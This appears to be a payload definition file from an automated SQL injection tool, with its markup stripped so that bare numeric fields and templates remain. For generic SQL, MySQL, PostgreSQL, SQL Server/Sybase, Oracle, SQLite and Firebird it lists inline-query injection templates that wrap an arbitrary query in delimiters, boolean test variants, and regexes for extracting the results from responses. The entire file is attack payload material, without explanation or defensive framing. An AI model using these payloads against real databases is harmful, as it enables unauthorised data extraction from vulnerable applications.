Generic inline queries
3
1
1
1,2,3,8
3
(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))
(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL inline queries
3
2
1
1,2,3,8
3
(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL inline queries
3
2
1
1,2,3,8
3
(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')
(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase inline queries
3
2
1
1,2,3,8
3
(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Oracle inline queries
3
2
1
1,2,3,8
3
(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)
(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
SQLite inline queries
3
3
1
1,2,3,8
3
SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'
SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
SQLite
Firebird inline queries
3
3
1
1,2,3,8
3
SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE
SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird